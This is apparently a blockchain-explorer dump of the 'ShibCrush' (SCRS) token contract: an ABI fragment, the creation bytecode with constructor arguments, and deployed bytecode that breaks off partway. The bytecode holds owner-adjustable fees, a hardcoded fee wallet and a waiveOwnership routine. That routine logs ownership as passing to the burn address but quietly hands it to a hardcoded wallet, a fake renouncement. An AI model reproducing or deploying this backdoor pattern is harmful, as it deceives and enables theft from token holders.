}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600d80546001600160a81b03191674dfd89c2933bd155031e72bbe83d7c9bf2c12ad5a091790556ddead0000000000000000000000006080526200004b6009600a62000995565b6200005890606462000a54565b60145560016015556001601655600160175560016018556001601955601554600a5460095462000089919062000931565b62000095919062000931565b601a55601654600c54600b54620000ad919062000931565b620000b9919062000931565b601b55601954601854601754620000d1919062000931565b620000dd919062000931565b601c55601e805462ffffff60a81b19166201000160a81b1790553480156200010457600080fd5b5060405162002dc238038062002dc283398101604081905262000127916200086f565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35088516200017d9060039060208c0190620006d0565b508951620001939060049060208d0190620006d0565b50600580546001600160a01b0319166001600160a01b038a16179055600d54620001c29060ff16600a62000995565b620001ce908862000a54565b600655600d54620001e49060ff16600a62000995565b620001f0908762000a54565b600755600d54620002069060ff16600a62000995565b62000212908662000a54565b6008556009849055600a839055600b829055600c8190556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a015591600480820192602092909190829003018186803b1580156200027857600080fd5b505afa1580156200028d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b391906200084a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002fc57600080fd5b505afa15801562000311573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033791906200084a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200038057600080fd5b505af115801562000395573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bb91906200084a565b601e80546001600160a01b039283166001600160a01b031991821617909155601d80549284169290911682179055600654306000908152600f6020908152604080832094835293905291822055600190601090620004216000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260108352208054909216600117909155601554600a546009546200049793620004839290620011cd62000661821b17901c565b6200066160201b620011cd1790919060201c565b601a81905550620004c260165462000483600c54600b546200066160201b620011cd1790919060201c565b601b81905550620004ed601954620004836018546017546200066160201b620011cd1790919060201c565b601c55600160116000620005096000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e549091168152601190925280822080548416600190811790915530835290822080549093168117909255601290620005796000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260128452828120805486166001908117909155601e549092168152601390935290822080549093161790915560065490600e90620005e53390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200064891815260200190565b60405180910390a3505050505050505050505062000adf565b60008062000670838562000931565b905083811015620006c75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b828054620006de9062000a76565b90600052602060002090601f0160209004810192826200070257600085556200074d565b82601f106200071d57805160ff19168380011785556200074d565b828001600101855582156200074d579182015b828111156200074d57825182559160200191906001019062000730565b506200075b9291506200075f565b5090565b5b808211156200075b576000815560010162000760565b80516001600160a01b03811681146200078e57600080fd5b919050565b600082601f830112620007a557600080fd5b81516001600160401b0380821115620007c257620007c262000ac9565b604051601f8301601f19908116603f01168101908282118183101715620007ed57620007ed62000ac9565b816040528381526020925086838588010111156200080a57600080fd5b600091505b838210156200082e57858201830151818301840152908201906200080f565b83821115620008405760008385830101525b9695505050505050565b6000602082840312156200085d57600080fd5b620008688262000776565b9392505050565b6000806000806000806000806000806101408b8d0312156200089057600080fd5b8a516001600160401b0380821115620008a857600080fd5b620008b68e838f0162000793565b9b5060208d0151915080821115620008cd57600080fd5b50620008dc8d828e0162000793565b995050620008ed60408c0162000776565b975060608b0151965060808b0151955060a08b0151945060c08b0151935060e08b015192506101008b015191506101208b015190509295989b9194979a5092959850565b6000821982111562000947576200094762000ab3565b500190565b600181815b808511156200098d57816000190482111562000971576200097162000ab3565b808516156200097f57918102915b93841c939080029062000951565b509250929050565b60006200086860ff841683600082620009b157506001620006ca565b81620009c057506000620006ca565b8160018114620009d95760028114620009e45762000a04565b6001915050620006ca565b60ff841115620009f857620009f862000ab3565b50506001821b620006ca565b5060208310610133831016604e8410600b841016171562000a29575081810a620006ca565b62000a3583836200094c565b806000190482111562000a4c5762000a4c62000ab3565b029392505050565b600081600019048311821515161562000a715762000a7162000ab3565b500290565b600181811c9082168062000a8b57607f821691505b6020821081141562000aad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60805160601c6122bd62000b056000396000818161035101526108ad01526122bd6000f3fe60806040526004361061023f5760003560e01c806388790a681161012e578063c816841b116100ab578063ec28438a1161006f578063ec28438a146106a6578063eea5b63f146106c6578063ef422a18146106e6578063f1d5f51714610706578063f2fde38b1461072657600080fd5b8063c816841b146105f4578063c860795214610614578063d158272d1461062a578063dc44b6a01461064a578063dd62ed3e1461066057600080fd5b8063a457c2d7116100f2578063a457c2d71461055e578063a9059cbb1461057e578063aa35822c1461059e578063c49b9a80146105be578063c5d24189146105de57600080fd5b806388790a68146104e05780638da5cb5b146104f6578063914eb66a1461051457806395d89b41146105295780639df8131f1461053e57600080fd5b80634cb80fd5116101bc57806370a082311161018057806370a0823114610449578063715018a61461047f5780637d1db4a514610494578063807c2d9c146104aa578063844d591c146104c057600080fd5b80634cb80fd5146103ca578063557ed1ba146103ea57806357a5802f146103fd5780635881f3ef1461041357806361a23c691461043357600080fd5b80632563ae83116102035780632563ae831461031d57806327c8f8351461033f5780632b112e4914610373578063313ce5671461038857806339509351146103aa57600080fd5b806306fdde031461024b578063095ea7b3146102765780631694505e146102a657806318160ddd146102de57806323b872dd146102fd57600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50610260610746565b60405161026d9190612064565b60405180910390f35b34801561028257600080fd5b50610296610291366004611f70565b6107d8565b604051901515815260200161026d565b3480156102b257600080fd5b50601d546102c6906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b3480156102ea57600080fd5b506006545b60405190815260200161026d565b34801561030957600080fd5b50610296610318366004611efa565b6107ef565b34801561032957600080fd5b5061033d610338366004611f9c565b61085a565b005b34801561034b57600080fd5b506102c67f000000000000000000000000000000000000000000000000000000000000000081565b34801561037f57600080fd5b506102ef6108ab565b34801561039457600080fd5b50600d5460405160ff909116815260200161026d565b3480156103b657600080fd5b506102966103c5366004611f70565b6108f5565b3480156103d657600080fd5b5061033d6103e5366004611e87565b61092b565b3480156103f657600080fd5b50426102ef565b34801561040957600080fd5b506102ef60175481565b34801561041f57600080fd5b506102c661042e366004611e87565b610977565b34801561043f57600080fd5b506102ef60185481565b34801561045557600080fd5b506102ef610464366004611e87565b6001600160a01b03166000908152600e602052604090205490565b34801561048b57600080fd5b5061033d610d09565b3480156104a057600080fd5b506102ef60075481565b3480156104b657600080fd5b506102ef60085481565b3480156104cc57600080fd5b5061033d6104db366004611f3b565b610d78565b3480156104ec57600080fd5b506102ef600b5481565b34801561050257600080fd5b506000546001600160a01b03166102c6565b34801561052057600080fd5b5061033d610dcd565b34801561053557600080fd5b50610260610e59565b34801561054a57600080fd5b5061033d610559366004611fd0565b610e68565b34801561056a57600080fd5b50610296610579366004611f70565b610eba565b34801561058a57600080fd5b50610296610599366004611f70565b610f09565b3480156105aa57600080fd5b5061033d6105b9366004611fd0565b610f16565b3480156105ca57600080fd5b5061033d6105d9366004611f9c565b610f62565b3480156105ea57600080fd5b506102ef600a5481565b34801561060057600080fd5b50601e546102c6906001600160a01b031681565b34801561062057600080fd5b506102ef600c5481565b34801561063657600080fd5b506005546102c6906001600160a01b031681565b34801561065657600080fd5b506102ef60095481565b34801561066c57600080fd5b506102ef61067b366004611ec1565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156106b257600080fd5b5061033d6106c1366004611fb7565b610fe4565b3480156106d257600080fd5b5061033d6106e1366004611fd0565b611013565b3480156106f257600080fd5b5061033d610701366004611f3b565b61105f565b34801561071257600080fd5b5061033d610721366004611fb7565b6110b4565b34801561073257600080fd5b5061033d610741366004611e87565b6110e3565b606060038054610755906121bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610781906121bb565b80156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b5050505050905090565b60006107e533848461122c565b5060015b92915050565b60006107fc848484611350565b5061084f843361084a8560405180606001604052806028815260200161223b602891396001600160a01b038a166000908152600f60209081526040808320338452909152902054919061171f565b61122c565b5060015b9392505050565b6000546001600160a01b0316331461088d5760405162461bcd60e51b8152600401610884906120b9565b60405180910390fd5b601e8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166000908152600e60205260408120546006546108f091611759565b905090565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916107e591859061084a90866111cd565b6000546001600160a01b031633146109555760405162461bcd60e51b8152600401610884906120b9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b031633146109a25760405162461bcd60e51b8152600401610884906120b9565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e057600080fd5b505afa1580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611ea4565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6057600080fd5b505afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a989190611ea4565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015610ade57600080fd5b505afa158015610af2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b169190611ea4565b91506001600160a01b038216610c9a57806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5f57600080fd5b505afa158015610b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b979190611ea4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bdf57600080fd5b505afa158015610bf3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c179190611ea4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c979190611ea4565b91505b601e80546001600160a01b03199081166001600160a01b038581169182178455601d8054909316948116949094179091556000908152601160209081526040808320805460ff199081166001908117909255945490951683526013909152902080549091169091179055919050565b6000546001600160a01b03163314610d335760405162461bcd60e51b8152600401610884906120b9565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610da25760405162461bcd60e51b8152600401610884906120b9565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610df75760405162461bcd60e51b8152600401610884906120b9565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319167338b617c6a17b2b072c5cbe34ae09735a32fd245d179055565b606060048054610755906121bb565b6000546001600160a01b03163314610e925760405162461bcd60e51b8152600401610884906120b9565b600b829055600c819055601654610eb390610ead84846111cd565b906111cd565b601b555050565b60006107e5338461084a8560405180606001604052806025815260200161226360259139336000908152600f602090815260408083206001600160a01b038d168452909152902054919061171f565b600061084f338484611350565b6000546001600160a01b03163314610f405760405162461bcd60e51b8152600401610884906120b9565b6009829055600a819055601554610f5b90610ead84846111cd565b601a555050565b6000546001600160a01b03163314610f8c5760405162461bcd60e51b8152600401610884906120b9565b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610fd990831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461100e5760405162461bcd60e51b8152600401610884906120b9565b600755565b6000546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610884906120b9565b6017829055601881905560195461105890610ead84846111cd565b601c555050565b6000546001600160a01b031633146110895760405162461bcd60e51b8152600401610884906120b9565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110de5760405162461bcd60e51b8152600401610884906120b9565b600855565b6000546001600160a01b0316331461110d5760405162461bcd60e51b8152600401610884906120b9565b6001600160a01b0381166111725760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610884565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806111da838561214b565b9050838110156108535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610884565b6001600160a01b03831661128e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610884565b6001600160a01b0382166112ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610884565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166113b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610884565b6001600160a01b0383166114185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610884565b601e54600160a01b900460ff161561143c5761143584848461179b565b9050610853565b6001600160a01b03841660009081526012602052604090205460ff1615801561147e57506001600160a01b03831660009081526012602052604090205460ff16155b156114e6576007548211156114e65760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610884565b306000908152600e6020526040902054601454811080159081906115145750601e54600160a01b900460ff16155b801561153957506001600160a01b03861660009081526013602052604090205460ff16155b801561154e5750601e54600160a81b900460ff165b1561157457601e54600160b01b900460ff161561156b5760145491505b61157482611881565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600e90915291909120546115c691869061171f565b6001600160a01b0387166000908152600e6020908152604080832093909355601090529081205460ff168061161357506001600160a01b03861660009081526010602052604090205460ff165b611627576116228787876119bc565b611629565b845b601e54909150600160b81b900460ff16801561165e57506001600160a01b03861660009081526011602052604090205460ff16155b156116945760085461168982610ead896001600160a01b03166000908152600e602052604090205490565b111561169457600080fd5b6001600160a01b0386166000908152600e60205260409020546116b790826111cd565b6001600160a01b038088166000818152600e602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061170b9085815260200190565b60405180910390a360019350505050610853565b600081848411156117435760405162461bcd60e51b81526004016108849190612064565b50600061175084866121a4565b95945050505050565b600061085383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061171f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600e909152918220546117ec91849061171f565b6001600160a01b038086166000908152600e6020526040808220939093559085168152205461181b90836111cd565b6001600160a01b038085166000818152600e602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061186f9086815260200190565b60405180910390a35060019392505050565b601e805460ff60a01b1916600160a01b179055601c546017546000916118b7916002916118b19182908790611ac2565b90611b41565b905060006118c58383611759565b90506118d081611b83565b60175447906000906118f0906118e7906002611b41565b601c5490611759565b9050600061191260026118b1846118b160175488611ac290919063ffffffff16565b9050600061192f836118b160195487611ac290919063ffffffff16565b90506000611947826119418786611759565b90611759565b9050801561196557600554611965906001600160a01b031682611d25565b811561198657600d546119869061010090046001600160a01b031683611d25565b6000831180156119965750600087115b156119a5576119a58784611d60565b5050601e805460ff60a01b19169055505050505050565b6001600160a01b038316600090815260136020526040812054819060ff1615611a00576119f960646118b1601a5486611ac290919063ffffffff16565b9050611a3e565b6001600160a01b03841660009081526013602052604090205460ff1615611a3e57611a3b60646118b1601b5486611ac290919063ffffffff16565b90505b8015611ab857306000908152600e6020526040902054611a5e90826111cd565b306000818152600e6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611aaf9085815260200190565b60405180910390a35b6117508382611759565b600082611ad1575060006107e9565b6000611add8385612185565b905082611aea8583612163565b146108535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610884565b600061085383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e44565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611bb857611bb861220c565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611c0c57600080fd5b505afa158015611c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c449190611ea4565b81600181518110611c5757611c5761220c565b6001600160a01b039283166020918202929092010152601d54611c7d913091168461122c565b601d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cb690859060009086903090429060040161210f565b600060405180830381600087803b158015611cd057600080fd5b505af1158015611ce4573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611d199291906120ee565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611d5b573d6000803e3d6000fd5b505050565b601d54611d789030906001600160a01b03168461122c565b601d546001600160a01b031663f305d719823085600080611da16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611e0457600080fd5b505af1158015611e18573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e3d9190611ff2565b5050505050565b60008183611e655760405162461bcd60e51b81526004016108849190612064565b5060006117508486612163565b80358015158114611e8257600080fd5b919050565b600060208284031215611e9957600080fd5b813561085381612222565b600060208284031215611eb657600080fd5b815161085381612222565b60008060408385031215611ed457600080fd5b8235611edf81612222565b91506020830135611eef81612222565b809150509250929050565b600080600060608486031215611f0f57600080fd5b8335611f1a81612222565b92506020840135611f2a81612222565b929592945050506040919091013590565b60008060408385031215611f4e57600080fd5b8235611f5981612222565b9150611f6760208401611e72565b90509250929050565b60008060408385031215611f8357600080fd5b8235611f8e81612222565b946020939093013593505050565b600060208284031215611fae57600080fd5b61085382611e72565b600060208284031215611fc957600080fd5b5035919050565b60008060408385031215611fe357600080fd5b50508035926020909101359150565b60008060006060848603121561200757600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156120595781516001600160a01b031687529582019590820190600101612034565b509495945050505050565b600060208083528351808285015260005b8181101561209157858101830151858201604001528201612075565b818111156120a3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8281526040602082015260006121076040830184612020565b949350505050565b85815284602082015260a06040820152600061212e60a0830186612020565b6001600160a01b0394909416606083015250608001529392505050565b6000821982111561215e5761215e6121f6565b500190565b60008261218057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561219f5761219f6121f6565b500290565b6000828210156121b6576121b66121f6565b500390565b600181811c908216806121cf57607f821691505b602082108114156121f057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461223757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122075eb612ce73a0a4bd1cb805ad0abf2817e8c0610fc2bcfd60c64de2411fef48d64736f6c6343000807003300000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000180000000000000000000000000b2c4cc8426f016a3d249552797a852578af669b3000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000001312d000000000000000000000000000000000000000000000000000000000001312d0000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000130000000000000000000000000000000000000000000000000000000000000004534352530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000095368696243727573680000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061023f5760003560e01c806388790a681161012e578063c816841b116100ab578063ec28438a1161006f578063ec28438a146106a6578063eea5b63f146106c6578063ef422a18146106e6578063f1d5f51714610706578063f2fde38b1461072657600080fd5b8063c816841b146105f4578063c860795214610614578063d158272d1461062a578063dc44b6a01461064a578063dd62ed3e1461066057600080fd5b8063a457c2d7116100f2578063a457c2d71461055e578063a9059cbb1461057e578063aa35822c1461059e578063c49b9a80146105be578063c5d24189146105de57600080fd5b806388790a68146104e05780638da5cb5b146104f6578063914eb66a1461051457806395d89b41146105295780639df8131f1461053e57600080fd5b80634cb80fd5116101bc57806370a082311161018057806370a0823114610449578063715018a61461047f5780637d1db4a514610494578063807c2d9c146104aa578063844d591c146104c057600080fd5b80634cb80fd5146103ca578063557ed1ba146103ea57806357a5802f146103fd5780635881f3ef1461041357806361a23c691461043357600080fd5b80632563ae83116102035780632563ae831461031d57806327c8f8351461033f5780632b112e4914610373578063313ce5671461038857806339509351146103aa57600080fd5b806306fdde031461024b578063095ea7b3146102765780631694505e146102a657806318160ddd146102de57806323b872dd146102fd57600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50610260610746565b60405161026d9190612064565b60405180910390f35b34801561028257600080fd5b50610296610291366004611f70565b6107d8565b604051901515815260200161026d565b3480156102b257600080fd5b50601d546102c6906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b3480156102ea57600080fd5b506006545b60405190815260200161026d565b34801561030957600080fd5b50610296610318366004611efa565b6107ef565b34801561032957600080fd5b5061033d610338366004611f9c565b61085a565b005b34801561034b57600080fd5b506102c67f000000000000000000000000000000000000000000000000000000000000dead81565b34801561037f57600080fd5b506102ef6108ab565b34801561039457600080fd5b50600d5460405160ff909116815260200161026d565b3480156103b657600080fd5b506102966103c5366004611f70565b6108f5565b3480156103d657600080fd5b5061033d6103e5366004611e87565b61092b565b3480156103f657600080fd5b50426102ef565b34801561040957600080fd5b506102ef60175481565b34801561041f57600080fd5b506102c661042e366004611e87565b610977565b34801561043f57600080fd5b506102ef60185481565b34801561045557600080fd5b506102ef610464366004611e87565b6001600160a01b03166000908152600e602052604090205490565b34801561048b57600080fd5b5061033d610d09565b3480156104a057600080fd5b506102ef60075481565b3480156104b657600080fd5b506102ef60085481565b3480156104cc57600080fd5b5061033d6104db366004611f3b565b610d78565b3480156104ec57600080fd5b506102ef600b5481565b34801561050257600080fd5b506000546001600160a01b03166102c6565b34801561052057600080fd5b5061033d610dcd565b34801561053557600080fd5b50610260610e59565b34801561054a57600080fd5b5061033d610559366004611fd0565b610e68565b34801561056a57600080fd5b50610296610579366004611f70565b610eba565b34801561058a57600080fd5b50610296610599366004611f70565b610f09565b3480156105aa57600080fd5b5061033d6105b9366004611fd0565b610f16565b3480156105ca57600080fd5b5061033d6105d9366004611f9c565b610f62565b3480156105ea57600080fd5b506102ef600a5481565b34801561060057600080fd5b50601e546102c6906001600160a01b031681565b34801561062057600080fd5b506102ef600c5481565b34801561063657600080fd5b506005546102c6906001600160a01b031681565b34801561065657600080fd5b506102ef60095481565b34801561066c57600080fd5b506102ef61067b366004611ec1565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156106b257600080fd5b5061033d6106c1366004611fb7565b610fe4565b3480156106d257600080fd5b5061033d6106e1366004611fd0565b611013565b3480156106f257600080fd5b5061033d610701366004611f3b565b61105f565b34801561071257600080fd5b5061033d610721366004611fb7565b6110b4565b34801561073257600080fd5b5061033d610741366004611e87565b6110e3565b606060038054610755906121bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610781906121bb565b80156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b5050505050905090565b60006107e533848461122c565b5060015b92915050565b60006107fc848484611350565b5061084f843361084a8560405180606001604052806028815260200161223b602891396001600160a01b038a166000908152600f60209081526040808320338452909152902054919061171f565b61122c565b5060015b9392505050565b6000546001600160a01b0316331461088d5760405162461bcd60e51b8152600401610884906120b9565b60405180910390fd5b601e8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03166000908152600e60205260408120546006546108f091611759565b905090565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916107e591859061084a90866111cd565b6000546001600160a01b031633146109555760405162461bcd60e51b8152600401610884906120b9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b031633146109a25760405162461bcd60e51b8152600401610884906120b9565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e057600080fd5b505afa1580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611ea4565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6057600080fd5b505afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a989190611ea4565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015610ade57600080fd5b505afa158015610af2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b169190611ea4565b91506001600160a01b038216610c9a57806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5f57600080fd5b505afa158015610b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b979190611ea4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bdf57600080fd5b505afa158015610bf3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c179190611ea4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c979190611ea4565b91505b601e80546001600160a01b03199081166001600160a01b038581169182178455601d8054909316948116949094179091556000908152601160209081526040808320805460ff199081166001908117909255945490951683526013909152902080549091169091179055919050565b6000546001600160a01b03163314610d335760405162461bcd60e51b8152600401610884906120b9565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610da25760405162461bcd60e51b8152600401610884906120b9565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610df75760405162461bcd60e51b8152600401610884906120b9565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319167338b617c6a17b2b072c5cbe34ae09735a32fd245d179055565b606060048054610755906121bb565b6000546001600160a01b03163314610e925760405162461bcd60e51b8152600401610884906120b9565b600b829055600c819055601654610eb390610ead84846111cd565b906111cd565b601b555050565b60006107e5338461084a8560405180606001604052806025815260200161226360259139336000908152600f602090815260408083206001600160a01b038d168452909152902054919061171f565b600061084f338484611350565b6000546001600160a01b03163314610f405760405162461bcd60e51b8152600401610884906120b9565b6009829055600a819055601554610f5b90610ead84846111cd565b601a555050565b6000546001600160a01b03163314610f8c5760405162461bcd60e51b8152600401610884906120b9565b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610fd990831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461100e5760405162461bcd60e51b8152600401610884906120b9565b600755565b6000546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610884906120b9565b6017829055601881905560195461105890610ead84846111cd565b601c555050565b6000546001600160a01b0316331461108957